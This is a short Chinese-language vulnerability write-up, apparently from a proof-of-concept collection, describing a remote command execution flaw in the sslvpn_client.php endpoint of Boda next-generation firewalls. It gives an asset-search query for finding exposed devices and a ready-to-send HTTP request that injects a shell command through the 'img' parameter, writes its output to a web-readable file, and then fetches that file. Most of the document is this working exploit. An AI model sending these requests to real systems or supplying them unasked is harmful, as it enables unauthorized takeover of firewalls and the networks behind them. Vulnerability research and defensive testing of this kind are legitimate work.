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41 lines
1.6 KiB
Markdown
41 lines
1.6 KiB
Markdown
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# 博达下一代防火墙sslvpn_client存在远程命令执行漏洞
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# 一、漏洞简介
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博达下一代防火墙sslvpn_client存在远程命令执行漏洞，攻击者可通过该漏洞获取服务器权限。
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# 二、影响版本
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+ 博达下一代防火墙
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# 三、资产测绘
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+ hunter`web.title=="博达下一代防火墙"`||`web.title=="博达上网行为管理"`
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+ 特征
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# 四、漏洞复现
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```java
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GET /sslvpn/sslvpn_client.php?client=logoImg&img=x%20/tmp|echo%20%60whoami%60%20|tee%20/usr/local/webui/sslvpn/ceshi.txt|ls HTTP/1.1
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
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Host: xx.xx.xx.xx
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Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
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Connection: close
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```
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获取命令执行结果
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```java
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GET /sslvpn/ceshi.txt HTTP/1.1
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
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Host: xx.xx.xx.xx
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Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
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Connection: close
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```
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> 更新: 2024-02-29 23:57:12
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> 原文: <https://www.yuque.com/xiaokp7/ocvun2/hypcbmrskmt1pm4v>
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